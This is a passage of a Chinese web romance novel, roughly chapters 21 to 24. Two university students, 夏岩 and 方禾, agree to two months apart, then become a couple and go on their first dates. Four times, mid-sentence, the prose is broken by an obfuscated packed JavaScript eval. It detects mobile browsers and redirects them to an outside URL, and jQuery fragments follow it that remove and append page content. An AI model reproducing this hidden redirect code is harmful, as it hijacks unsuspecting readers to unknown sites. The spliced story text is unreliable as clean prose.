在这样频繁的聊天中,夏岩知道了方禾高中的教室窗外有一排小小的桂花树,知道方禾一开始进度赶不上别人的时候经常躲在被窝里熬夜刷题,知道方禾在寒冬腊月天都没亮的清晨起床早读。 夏岩知道了她是怎样度过这一年的,知道了她现在学的是园艺学专业。 之前她就喜欢种小番茄,喜欢打理火锅店里的发财树。她那么喜欢植物,只考虑兴趣的话,学这个专业倒是合适。 方禾也知道了珂珂又拿了一次篮球比赛的冠军,知道了黄阿姨已经重新出去上班,知道了夏岩现在也还是有两个兼职,周内的晚上去家教,周末则是去诊所。 但方禾不知道,其实夏岩偷偷去过一次她的高中,就在她十八岁生日那天。 夏岩站在学校外家长经常聚集在一起看学生做操的那个铁栏杆拐角,透过长满爬山虎的栏杆,看着操场上那些随着口令跑动的穿校服的身影。 太远了,他找不到哪一个是方禾。但那里面总会有一个人是方禾,想到方禾会在这里,夏岩就觉得不虚此行了。 军训结束当晚,宿舍四人在校门外的火锅店聚餐。 翌日中午,夏岩如约请方禾吃饭。 方禾被夏岩带着,穿过学校的药用植物园,钻进后巷的中餐馆。 认识两年了,但这却是方禾第一次单独跟夏岩吃饭。 也因为没一起在外面吃过饭,夏岩也不知道方禾喜欢吃什么菜,只把菜单交给她,让她自己点。 夏岩没办法再自欺欺人地把方禾当作妹妹来看,他甚至不知道该怎么和方禾相处。 方禾却很高兴,不管怎么说,能和曾经失联的人坐在同一张桌子上吃饭,都是一件高兴的事情。 一年不见,即便是聊了两周的天,方禾面对夏岩时也依然有说不完的话,想到什么都能拿出来说两句。 在夏岩时不时的应声中,这顿饭愉快地吃完了。 两人撑着同一把太阳伞,原路返回,一直走到方禾的宿舍楼下。 眼见这人要走了,方禾咬咬唇,试探着问:“我们现在算怎么回事?” 他不提一年前的那个约定,那她来提。 她是喜欢夏岩,想跟夏岩在一起,但也不能就这样不明不白地相处下去,她想要一个明确的答复。 夏岩对上方禾的眼睛,一秒后又忙不迭地避开。她这样问,说明这一年里她的心意没有变过,这对夏岩来说应该是个好消息,可他却高兴不起来。 他怕方禾其实没她以为的那么喜欢他,他只不过是她花季雨季时留下的执念而已,或许就是因为一直执着,才会误以为是喜欢? 他只不过是占了早早和方禾相遇的先机而已,他只是刚好出现在了她情窦初开的时候,出现在了她最需要温暖和爱的时候,出现在她没有更好的选择的时候。 如果他们是现在才认识,在这个不缺才貌双全的男生、不缺家境优渥的男生的大学里认识,方禾未必会喜欢上他。 喉结重重地滚了一下,夏岩垂下头盯着方禾的裙摆:“你知道的,我们家现在的条件很不好,我什么都没有,给不了你什么。” 方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523647|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禾仰着头,不假思索道:“我也什么都没有呀,我们好好在一起,以后什么都会有的。” 阳光从梧桐枝头越过,在他们脚下碎成星星点点的光。 “对不起,我说这话你可能会生气,但我还是要说。”夏岩望着方禾那双同样盛满细碎光亮的眼睛,手指无意识地收紧,“你要不要再考虑考虑,跟我在一起,会很辛苦的。” 方禾只当这是他又一次的拒绝,有些生气,语调拔高:“你答应过我的,等我考上大学就考虑和我在一起的,你不会说话不算数了吧?骗子!我不理你了!” 方禾气到跺脚,转身就想走,手腕却被夏岩紧紧攥住。 她挣了挣:“放开,你不就是想让我知难而退吗,还拉着我干什么?” “我……还有话没说完。”就这样放她离开,他心里终究还是不舍的。 夏岩自嘲地扯了扯嘴角,声音里带着几分无奈:“我是真的觉得你没有必要只围着我转,你也看到了,大学很大,榆南也很大,有很多人比我长得帅的,比我长得高的,比我有钱的,比我性格好的,你还有很多更好的选择,没有必要在我这一棵树上吊死。” “所以……”顿了两秒,他继续说,“接下来的两个月你暂时别跟我见面,也别跟我联系,没课的时候多和朋友出去玩儿,去社团活动,去其他学院甚至周围的其他大学,多见见不同的男生。” “你想让我去喜欢别人?”方禾忍不住皱眉,这人居然又要把她往外推。 “是想让你多去看看,花园都还没好好逛,就说自己找到了最好看的花,是不是有些草率?” 方禾的睫毛颤了一下,她有点认同夏岩的后半句话,可是,感情和选花,真的是同一回事吗? 她不知道这个花园里究竟有多少花,但很显然,夏岩这朵花并不容易采。 再凝神一想,方禾觉得夏岩说的话都有几分道理。 “算了吧,两个月就两个月,但不能再多了,你不许变卦。”她都等了一年,不在乎再多等上两个月。 两个月后她要来告诉他,好看的花多得是,但她就是偏要采他这朵夏花! “不变卦。”见方禾有答应的意思,夏岩提醒她,“不过,跟其他人接触的时候还是要有几分警惕心,碰上卖电脑卖电话卡的还好,就怕碰上不怀好意的。” “这个我懂,我好歹也是独自一人闯荡过的,才没有你想得那么傻白甜。”方禾扬着下巴,挺直她单薄的肩膀,“那两个月之后呢?” “两个月之后,如果你还是觉得我最好的话,我会和你在一起的。” 树影晃动,蝉声鸣唱。 夏岩语气认真,但方禾还有个顾虑—— “你不会在这两个月里偷偷跑掉吧?” “不会,我还要上课呢,能跑到哪里去?”夏岩晃了晃手机屏保的课表截图,难得轻笑出声。 “也对,那你不会把我的联系方式拉黑删除吧?” “不会。” 得到夏岩的保证,方禾依然不是很安心。 她要来了夏岩的电话号码,问了他的班级和宿舍楼栋,又跟夏岩加上了各个APP的好友,确保两个人不会再失联后,这才放心。 22. 第 22 章 那顿午饭之后,方禾便按夏岩所说,不再跟他联系,只专注于自己的大学生活。 有过几乎快一年的失联,所以两个月不联系对方禾来说也不是什么特别难熬的事情,尤其是她知道自己此刻就跟夏岩处在同一所大学的同一个校区。 可能她早上走过的那条有桂花香的小路,夏岩也会经过;可能她随手在食堂买的一个红糖馒头,夏岩曾在那个窗口买过;可能她刷卡进图书馆的那个闸机,夏岩也把他的校园卡放在上面过…… 不同于之前的相隔千里,这一次两个人确实是生活在同一片空间,在同一个教学楼上课,在同一个系统充饭卡,宿舍也在同一个时间断电…… 这一切都能让方禾感受到,她是真的离夏岩很近,而且她也有夏岩的课表,知道他每个时间段大概在做些什么。 正式行课的第一周事情很多,要领教材,要开班会选班干部,还有各种占用午睡时间的新生入学讲座。 方禾本来对大学生活没什么概念,幸亏佳冰早就给她传授过经验了,让她别只顾着上课,参加活动也很重要,不然就算期末考试考得不错,综测分不高照样很难拿到奖学金。 方禾军训的时候就成了班里的临时负责人。当时辅导员要选一名女生和一名男生,问谁愿意,其他同学还在犹豫,方禾就高高举起手说她想试试。 因为当了临时负责人的缘故,再加上有三位舍友的拉票以及自己本来就漂亮、有亲和力的长相,选班干部时,毫无疑问,方禾这个临时负责人成功转正,成为了班长之一。 不只是为了加分,她从小到大只当过红领巾监督员和学习委员,还没当过班长呢,现在都来了读书生涯的最后一站了,她当然想体验一下。 当初方禾因为逃避而藏在火锅店里端盘子的时候,她确实只想做一条咸鱼,当一天和尚撞一天钟地混着,不愿意去想任何与目标和梦想有关的话题。 但现在的方禾不一样。高三一年的高强度、快节奏生活早就帮方禾找回了久违的干劲,就像熬过了阴郁的太阳花,在晴日里开得明媚,开得灿烂。 她现在活力满满,迫切地想要去尝试,想要去争取。 作为班长去开各种会以及转发各种群消息的间隙,方禾在网上买的花盆和营养土也到了。 她把从校门口花店买回来的麦秆多肉移栽了进去,摆在宿舍阳台上既能晒到太阳,又不会造成高空坠物的窗边。 不知道是性格使然,还是受青山环绕、农田错落的成长环境影响,方禾一直以来都很喜欢植物,照顾植物会让她心情好,所以在宿舍住下的第二天,她就买了这个小多肉回来。 花盆是方禾在购物车里放了两年的小兔子抱着树桩造型的,里面栽着的麦秆多肉叶片是大面积的浅绿,但边缘有染着些许的嫩粉。 粉绿的配色,又温柔,又有生命力。 忙碌且充实的一周过完,国庆假期就来了。 除了家在外省不好买机票的田晓佳不回家,其他两个舍友早早就规划好了行程,邹珊卡着时间抢到了高铁票,三十号一下课就风风火火地拖着行李箱走了,杨惜就是榆南本地人,出校门打个车就能回家。 于是七天假期里,只能是方禾跟田晓佳这两个留守人员相依为命。 两人上午睡到自然醒,中午吃外卖,晚上凉快了就去学校外面吃顿好的,然后在晚风里慢慢往宿舍楼溜达。 暮色四合,还没走到篮球场方禾就听见了球鞋和地板摩擦以及球砸向篮板的声音。 这是回宿舍的必经之路,以前方禾没注意过,因为她对任何一项体育运动都不感兴趣,既不想去尝试,也没兴趣观看。 小长假,学校里的人和平时比起来少得可怜,也因为清静,篮球场上的声音格外引人注意。 方禾不经意地瞥了一眼,没想到竟意外瞧见了一个熟悉的身影。 篮球正好滚到她路过的这边。跑过来捡球的人是夏岩,汗湿的刘海黏在他额头上,脸颊因剧烈运动而微微泛红,急促的呼吸间,平日里总是抿成一条线的唇角在不自觉地扬起,不同于他平时那副老成的样子,这时候的夏岩身上多了几丝少年感。 方禾挥挥手,大声叫了他的名字。 四目相对时,方禾笑了笑:“我先说明,我可不是故意要来见你的,我只是随便走走,怎么知道会在这里碰上你。” 她见过夏珂打篮球,还在夏珂房间里见过他篮球比赛的冠军奖杯,也听夏珂讲过他打篮球的事情,但倒是还没亲眼见过他打篮球的样子。 夏岩抬手抹了一把下巴上将坠未坠的汗珠,单膝点地捞起篮球,问她:“最近过得怎么样?” 方禾嘴角的笑意未减:“很好啊。” “那就好。” 简短的对话后,夏岩抱着球往回走,方禾看见他在褪色的三分线外顿住,突然屈膝起跳。 篮球在空中划出抛物线,风声中,方禾听到了篮球擦过篮筐时的颤音。 天已经暗下去了,篮球场边的桂花香得汹涌,路上时不时有行李箱推轮滚动的声音,方禾抬头看着浓密树缝中露出来的一块块不规则的灰蓝色的天。 她总觉得夏岩好像有些变了,他变得跟一年前不一样了,单薄的脊背不再紧绷如弦,眉头不再紧锁,连那双总像蒙着层薄雾的眼睛,也像冰层初融的湖面,泛起了细碎的光亮。 也对,一年前的他被迫休学,肩膀上扛着一个家庭的担子,每天要打那么多份工,几乎没有闲暇娱乐可言。 现在的他,才算是回归了生活本该有的轨迹吧。 - 两个月不见面不联系终究是没能做到,不是方禾不肯好好遵守约定,而是她每隔几天都会跟夏岩偶遇上。 有时是犯着困排队买早饭,方禾余光瞥见夏岩端着餐盘一闪而过。 有时是在上下课换教室的高峰期,夏岩走在拥挤的楼梯间感觉自己的卫衣帽子被人轻轻拽住,回头就撞上那张古灵精怪的笑脸。 说到底还是老校区不够大的缘故,食堂就那么几个,路也就那么几条,上下课时间又都一样,就算是撞概率也是会遇上的。 不说夏岩了,方禾连辅导员都碰上过两次。 因为总遇见,所以方禾也没刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530643|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意控制自己不给夏岩发消息,反正她想发的时候就发,夏岩的话虽然不多,但每一条都会回复。 他会告诉她参加哪些活动能加更多的综测分,告诉她学校打印店能买到公共课的复习资料,告诉她抢课的时候从学校内网进去就不会卡。 十月的一场雨把宿舍楼下树叶砸得噼啪作响,温暖湿润的天气也从这天起慢慢向清冷干燥过渡。 白天依旧温暖,阳光明媚,但早晚已经有了丝丝凉意,方禾穿上了轻薄的针织衫,上早八在校园里穿梭时,有意无意地都能瞧见树木的叶子开始泛黄,尤其是银杏和枫树,一个金黄,一个火红,那么鲜艳,像是这萧瑟时节里绽开的花。 慢慢的,梧桐小路上铺满了卷边的枯叶,食堂窗口也开始供应烤红薯了,系上围巾的方禾猛然意识到她跟夏岩的两个月之约只剩下短短几天了。 下午的公共课方禾昏昏欲睡,笔尖无意识地在纸上画了无数个圈。 讲台上老师的一句“随机抽个学号起来回答问题”让方禾心头一惊,沉睡的意识被强行唤醒。果然,不管是中学还是大学,她都最害怕老师抽问。 提问风波过去,方禾幸运地躲过一劫,不过老师讲得太过无聊,PPT看着也像是好几十年前的产物,方禾刚清醒的脑子又忍不住开始走神。 夏岩让她多去外面走走,多看看不同的人。 方禾觉得自己算是做到了,她这两个月过得很高兴,很精彩。 她参加了图书馆的阅读马拉松打卡,领到了好看的十二星座勋章,她在舍友的邀约下第一次去KTV唱了歌,和部门的干事一起聚餐吃潮汕牛肉火锅,去听辩论赛,去看粤语社的配音活动,和动漫社玩cosplay的的漂亮姐姐合照,还和其他班委一起商量开班会和团组织生活的事…… 要不说上大学能开阔人的视野呢,不说图书馆里一排排的古籍复刻本,也不说讲台上看起来平平无奇的老头其实是发过上百篇核心期刊的教授,单说这里男生的样貌就和她长大的山沟沟里的男生天差地别。 老家村里的男孩子多是留的寸头,要不就是在镇上的便宜理发店里把头发给染得花花绿绿。但方禾在大学里碰到的男生,大多数都很会穿衣打扮,头发是时髦的微分碎盖,或者烟花烫、法式卷,颜色有青木棕、铅笔灰,以及一些方禾叫不出名字的颜色。 方禾长得漂亮,性子又活泼,所以也有不少男生说想和她一起吃吃饭、请她喝奶茶什么的,其中不乏有身材高挑、长相帅气还一身名牌的男生。 可是她就是看夏岩最顺眼,她能怎么办?而且她看见那些长得帅的人,一直是想多欣赏几眼而已,不会想要去加联系方式,也没有想要抱上去的冲动。 从某种程度上讲,方禾也是一个恋旧的人。就像现在冰淇淋的花样越做越多,出了造型各种稀奇古怪的新造型,出了酒心和生椰拿铁口味之类的新口味,可她最爱的还是上小学时吃的那种绿豆冰淇淋。 有些人注定是无法被替代的。玫瑰千千万,各有各的美,可她就是只喜欢那一朵呀。 没有缘由,就是打心底里喜欢。 23. 第 23 章 秋意渐浓,逐渐向初冬过渡,比两月之期先到来的,是方禾的生日。 方禾收到了很多礼物,田晓佳送的桂花糕,杨惜送的毛绒公仔,邹珊送的一整套压花书签,还有韩佳冰大老远寄来的一箱零食和一盒桂花香膏。 夏岩买了礼物,但却没有送。他觉得自己不该在这个时候用礼物去影响方禾的判断。 方禾不知道夏岩在一年前她过生日那天去找过她,更不知道夏岩记得她的生日,毕竟她没有专门告诉过他,也就自然而然地认为夏岩不该送礼物给她。 过了一个很有仪式感的生日,方禾在纠结着是她先去找夏岩,还是等着夏岩来找她。 杨惜以过来人的口吻嘱咐她,感情里不能总是女孩子主动,所以方禾这次准备等。 等等等,可眼看都快到十二月了,夏岩也没来找过她,聊天时也对两个月前的事情避而不谈。 实验楼后墙的爬山虎彻底红透了,梧桐枝桠也覆上了薄霜,方禾耐不住了,决定主动出击。 她在夏岩的宿舍楼下蹲守。 天已经黑了,正是回宿舍的高峰期,来来往往的人不少,傻站着很呆板,方禾只能假装低头看手机。 为什么说是假装?因为她的注意力多半都放在了经过的人身上,免得一不留神就把夏岩给放跑了。 等待的时候,方禾也在思考措辞。 冷风吹着,枯叶在落,方禾觉得冷,她把手缩进了袖子里,又跺了脚跺脚,继续等。 方禾不怕等,一年等了,两个月也等了,现在的她有的是耐心,问题是,这大冷天的,她要是被冻感冒了,她一定要把夏岩狠狠打一顿! 看在他长得好看的份上,她可以不打他的脸。 面前的人走过了一个又一个,方禾终于等到了夏岩出现。 对上那双熟悉的眼睛时,夏岩有些错愕,显然没想到方禾会在这里守株待兔。 刚才精心打好的腹稿一个字也没记住,方禾不知道该从哪里说起,又觉得不能输了气势,所以出口便是一句:“夏岩,你太讨厌了!” 夏岩停在她身前,看着着她。 “你明明知道到时间了,可你不来找我,也不肯提我们之前说好的事情,你又想逃避吗?” 他垂眸,扶了扶眼镜,接受她所有的指责。 他确实在逃避,尽管他也不懂自己为什么要逃避。 也许是怕方禾真的在这两个月里改变了想法,也许是怕方禾依然固执地要选择他。 如果是前者,他可能会松一口气,可更多的情绪应该是难过。 如果是后者,他可能会有压力,但心里更多的应该是高兴。 他没提,方禾也没提,所以这几天里他一直默认方禾或许真的如他一开始所希望的那样,放弃他这棵在贫瘠土地上艰难生长的树,转而奔向更广袤的草原和森林。 但方禾今晚出现了,甚至还在为他的不肯主动而生气,这说明她的想法没有变。这似乎是个好消息,夏岩该欣喜的,可他却并没有多欢喜。 “我可以不逃,可你确定你分得清吗?” 夏岩向前半步,表情严肃,说话时的口气一如当年劝方禾回学校读书时的那般语重心长:“你对我到底是喜欢,还是那年留下的执念,还是因为我对你好过,所以你就下意识地去感谢、去依赖?” 方禾扬起下巴,紧紧盯着镜片后的那双黑眸:“当然分得清了,你别总把我当小孩子。” 她确实感激夏岩。 那个夏天,没人在意她把生活过成一滩烂泥,只有袁老师、韩佳冰和夏岩,只有这三个人希望她能活得更好,能爬起来继续往前走。 佳冰是她从小到大的好朋友,袁老师是教了她两年的班主任。相比起来,夏岩应该是那三个人中最没有理由关心她的那个。 可他还是劝了她。 是本性就善良见不惯世间疾苦也好,是对她有那么一丁点的在意也好,方禾都很感谢那时候的夏岩,感谢那个如夏日般炽热的人曾给予她的温暖。 十六岁的方禾喜欢夏岩,喜欢他的帅气外表,喜欢他的温柔善良。 但现在,经过一年多的沉淀,方禾对夏岩的喜欢,似乎已经不再局限于他的外貌和他的温柔了。 十九岁的方禾喜欢夏岩,不只是喜欢他身上那些浮于表面的东西,更多的是喜欢他的成熟稳重,喜欢他骨子里渗出的克制与自省,喜欢他始终保持着向光生长的倔强,喜欢他对待感情时的认真和深思熟虑,喜欢他偶尔的自卑和犹豫,喜欢他分享日常时笨拙的爱意。 她喜欢的是一个完整、真实、鲜活的夏岩,包括他的优点,包括他的缺点,包括他骨子里的坚韧真诚,也包括他心底的敏感心绪。 好像也就是在这一秒,方禾总算明白了当年夏岩为什么会骂她根本不懂什么是喜欢。 因为当时的她的确算不上懂,她那时候的喜欢还很肤浅,甚至更多的是把夏岩当成那段空虚无聊的日子里的精神寄托,当成病急乱投医的解药,想要从他身上获取温暖和爱意。 在后来这一年多的时间里,那种虚无缥缈的喜欢,才酿出了现在这份深层次的、真正意义上的喜欢。 夏岩躲开她炽热的眼,喉结上下滚动,却始终没张口说一句话。 方禾就知道,这人一定是又退缩了。 勇敢到能够独自一人扛起家庭重担的夏岩,唯独在感情这件事情上不够勇敢。 如果夏岩真的对她没意思也就罢了,可方禾能感觉到,夏岩明明是在意她的。 既然这样,即使他想退缩,方禾也要逼得他上前。 “好吧,我算是看出来了,你就是在骗我,什么一年后,什么两个月后,其实都是你想甩掉我的借口吧?”方禾瞪着他,“现在我知道你讨厌我了,你放心,以后我不会再缠着你了!这下你满意了吧!” 后面这句几乎是吼着说出来的。夏岩有些慌了,他想否认的,想说他一点也不讨厌方禾,相反,他很在乎她,在乎到生怕她后悔,生怕她吃亏,所以才一直犹豫不决,不敢向前。 可方禾并不想听他解释,她转身就走,步伐那样的果决,仿佛真的打定主意不会再理他了。 夏岩只好去追,往常很好哄的人这时候却赌气不肯理他,脚下的步子也不停。 没办法,他只好伸手将人紧紧拽住。 方禾才不会乖乖被他抓着,依然犟着说要走和再也不要见面之类的话。 一个想挣脱,一个不放手。 挣来挣去,夏岩用了些力气把人牢牢圈在怀里,这下她总能好好听他说话了吧。 方禾继续下猛药:“我只给你一句话的机会,你要是还说那些我不想听的,我就真的不会再理你了。” 这句话说完,方禾心里其实也有点发虚,她怕自己的话刚好顺了夏岩的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536095|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不定他真的就死脑筋地盼着两个人各自安好、再也不联系? 正想着要不要补救一下,她忽然听到一句“喜欢你”。 那样温柔,那样轻,不禁让方禾有些怀疑,是她听错了?还是出现幻觉了? “什么?你再说一遍。” 夏岩俯身,离她更近了一些,滚烫的呼吸就在她的耳畔。 “我说,我不讨厌你,我喜欢你,很喜欢。” 路灯昏黄,方禾看着地上两个人的影子,耳边是他比夜风还撩人的嗓音。 终于听到了想听的话,她心里高兴,面上却不为所动,强作淡定地问:“嗯,然后呢?” 明明已经是桂花凋落的季节,但空气中的桂花味似乎更浓烈了。 他说:“不要走,我想一直和你在一起。”直到她厌倦了他,或者有了更好的选择。 “所以——”方禾勾起唇角,“你现在是我男朋友了?” “是。” 这是夏岩曾渴望过的事,也是他曾经不敢想的事。 他很庆幸方禾没有被他推走,庆幸自己依然被方禾坚定地选择。 方禾拉下夏岩从后环住她的胳膊,转了个身,环抱住他的腰。 靠上夏岩胸膛的那一秒,一只温暖的大掌也贴上了她的后背。 原来拥抱是这样感觉啊,掌心触到的衬衫面料混着夏岩的体温,双臂收紧力道还能感受到夏岩紧绷的腰肌……方禾忍不住轻轻摸了两把。 夏岩没动,由着她抱。 他也很享受这样静静的拥抱,将人拥进怀里的这一刻,他才感觉到真实。 抱够了,方禾忽然拉起夏岩的胳膊,拽着他往前走。 “怎么了?”他问。 “我要去买奶茶。” “我们宿舍四个人里只有一个人在谈恋爱,所以之前就说好了的,剩下的三个人里,谁脱单了都要请大家喝奶茶,嘻嘻,我居然是第一个。”方禾语气雀跃,一边念叨着,一边摸出手机单手打字在宿舍群里发消息,问大家都要什么口味的奶茶。 一连串的震惊和起哄刷屏后,杨惜率先开口了:【我要热的黑糖珍珠,谢谢啦!】 想减肥的田晓佳有些迟疑:【这大半夜的,是不是太放纵了……】 田晓佳:【我还是不喝了吧。】 杨惜:【希望待会儿我们喝的时候你不会为现在的决定后悔哈哈哈哈哈!】 眼看邹珊也说要喝五分糖的芋圆奶茶,田晓佳减肥的决心终究是敌不过心底的馋虫,往群里发消息的时候她在心底发誓,一定从明天开始就管住嘴:【那我喝个柠檬茶,三分糖。】 到了奶茶店,方禾先点好舍友想喝的,再转头问夏岩:“你想喝什么?” “都行。”他不常喝奶茶,所以对奶茶这种东西也没有明显的喜恶,店里有的,他都能喝,不挑。 “那你就跟我一起喝这个桂花酒酿吧。”方禾又点了两个大杯的桂花酒酿,“这是我现在最喜欢的了。” 方禾以前喜欢喝奥利奥奶茶,可她尝了一次桂花酒酿之后,就欲罢不能了。 站在身后的夏岩默默记下方禾的最新喜好,他心里在想,她可真爱桂花,连身上都是若有似无的桂花味。 可是,想到失宠的奥利奥奶茶和她的新欢桂花酒酿,夏岩有一瞬间的怀疑。 口味都会变,喜欢的人会不会也随着时间变呢? 24. 第 24 章 也许是因为奶茶提神,也许是因为宿舍里有人脱单了大家都比较兴奋,这一晚宿舍断电熄灯后,大家还聊了很久。 从杨惜的现男友说到田晓佳的crush,再从方禾离家出走遇上夏岩的故事说到四个人里谁会是最先结婚的那个,不知道聊到半夜几点才睡的,幸好第二天没有早八要赶,只有下午排了园林花卉学和中外园林史这两门课,能睡个懒觉。 方禾之前一直不太理解为什么会有人爱得死去活来的,也不太懂相爱的两个人为什么总要在一起腻歪,现在她好像有些懂了。一觉起来,去食堂吃了一碗面,她有些想夏岩了。 中午方禾要去开会,走不开。 学院嘛,不管有没有正经事总会安排各种必要或者根本不必要的会开,方禾也是上了大学之后才知道原来大学比高中还要形式主义。 她只好跟夏岩发消息说,她下午下了课去找他。 满课的下午结束,一下课,方禾就在舍友的捂嘴窃笑声中抓起书包跑了。 出了教学楼,看见熟悉的身影,方禾立刻脚步轻快地小跑了过来。 夏岩看着随着她的跑动而飞舞的发丝,看着她耳侧的黄色小花发夹。 她好像对黄色情有独钟,夏岩两年前就见过她戴黄色的星星发夹,穿上黄色的衬衫、黄色的帆布鞋。 对了,就连她喜欢的桂花,也是黄色的。 自打军训结束后,她多数时候都是披着头发,看着比从前那个总扎着高马尾、丸子头的她多了几分温婉,竟让夏岩有些不习惯。 几丝念头闪过,人已经跑到了他面前。 方禾撞进了一个带着消毒水味的怀抱,大概夏岩刚从实验室出来不久。 “买了花给你。”夏岩伸出了一直藏在身后的那只手。 “这个季节没有桂花了,我买了向日葵。”向日葵也是黄色的,所以夏岩猜她可能会喜欢? “好啊,我就喜欢这种有生命力的花。” 方禾低头闻了闻花香:“那天我看书,才知道原来植物释放的挥发性物质可以降低人类的皮质醇水平,所以花花草草能让我心情好也不是没有理由的。” 夏岩今晚不用去家教,所以在学校食堂吃了晚饭后,两人慢悠悠散步到操场。 方禾一手拿着花,一手挽着夏岩的胳膊。 一只胖乎乎的橘猫正趴在看台的座椅上睡觉。 方禾老远就瞧见了那一团毛茸茸的橘色,她拉着夏岩往看台上走,挨着橘猫坐下。 这只大橘是见过大风大浪的猫,习惯了被路过的大学生抚摸拍照,有人靠近也不影响它继续呼呼大睡。 方禾摸了摸橘猫的白手套爪子,软软的,目光扫过夏岩垂在身侧的那只骨骼分明的手—— 不知道夏岩的手摸起来会是什么手感? 方禾两年前就注意到夏岩的手长得和他的人一样好看了,那时候摸不合适,现在总能名正言顺地摸了吧。 这样想着,方禾悄悄探了根小指过去,指腹擦过夏岩的手背。 夏岩自然偏头看了过来,方禾才不怕他看,迎着他的目光将自己的手指嵌进他的指缝里。 十指相扣的瞬间,这男人的反应好像还是淡淡的。 方禾不满地扬扬下巴,哼道:“不愿意牵就算了。” 她要松开手,但和她扣在一起的那只手却突然收紧了力道。 方禾就知道,夏岩也想牵手,她晃了晃他们交缠的手,原来这就是牵手的感觉。 一手牵着夏岩,一手轻抚着橘猫,吹着晚风,看着夕阳,方禾觉得自己在这座陌生的城市中找到了心安的感觉。 她靠在夏岩肩上,叫他的名字:“夏岩。” “嗯。” “等我以后有钱了,不住学校了,我要养一只小猫。” 她以前也有一只小狸花猫的。 但方朝贵嫌它嘴馋,趁她不在家的时候把猫装进袋子扔到了深山老林里,方禾找不到它,也不知道它是不是还活着。 “好,你说养什么就养什么。”一只手轻轻落在了她的发顶上,拍了拍。 方禾笑着躲开他的手:“别摸头发,摸油了我懒得洗。” 夏岩无声地笑了笑,收回手:“以后注意。” “对了,”方禾忽然想起,“我们还没有一起拍过照。” 她点开相机,先拍了两人紧扣的手,又说:“你靠过来。” 夏岩挪过去一些,一只手揽着方禾的肩膀,看她歪着脑袋挑选好看的滤镜。 “再靠近一点嘛,这可是我们认识以来的第一张合照!” 夏岩便配合地把脸凑过来,身体也贴得更近。 “来,手要像我这样比心。” 夏岩眼神温柔地看着手机屏幕上方禾的笑颜,学着她的手势。 “一,二,三!” “再来几张,这次你来举手机,我在后面,这样显得我脸小,更好看!” 夏岩还没有过这样的体验,却乐意按她说的做。 “好了。”方禾拿过手机,左右滑动着挑选照片,问夏岩,“这张怎么样?我要发给我朋友。” “挺好。”其实他没看出什么区别,每一张照片上的方禾都很美。 方禾就把照片发给了佳冰。 韩佳冰昨天晚上就知道方禾谈恋爱的消息了。 这两年,韩佳冰的高中同学和大学舍友都陆陆续续谈起了恋爱,像她这样保持母胎单身的人已经不多。她不抗拒恋爱,却也不期待恋爱。 她觉得自己现在的生活很好,她一个人自在且快活,不需要一个异性的加入。而且她觉得谈恋爱很麻烦,本来自己可以想干嘛就干嘛,身边多了一个人,她还得照顾对方的情绪,多累。 自己不喜欢是一回事,但好姐妹谈恋爱了,韩佳冰还是真心地祝福。 韩佳冰只在两年前看过方禾偷拍的夏岩单人照,这是她第一次看到好姐妹和男朋友的合照,她仔细打量了一番方禾发过来的照片,说了句般配。 确实也般配,男帅女美,怎么会不般配。 方禾接着跟佳冰聊了几句,问她这学期课多不多,生日礼物想要什么,一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539868|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的夏岩感觉自己受到了冷落,他探过头:“聊什么呢?” 没聊什么见不得人的话题,方禾大大方方地让夏岩看她的手机,顺便给他介绍韩佳冰。 夏岩看了一眼聊天界面,很疑惑:“她为什么叫你‘穗穗’?” “因为这是我的小名呀!”方禾说,“本来我奶奶准备给我起名叫‘方穗’的,可奶奶又担心‘穗’字笔画太多我写起来费时间,所以就去掉一半,用了‘禾’这个字。” 方禾出生的那个初冬,寒潮来得快,下了一场很大的雪,层层白雪覆盖着青青的麦苗。 瑞雪兆丰年,村里人都说来年麦子的收成肯定好,他们看着雪下的麦苗,仿佛就已经能预见明年饱满的麦穗了。 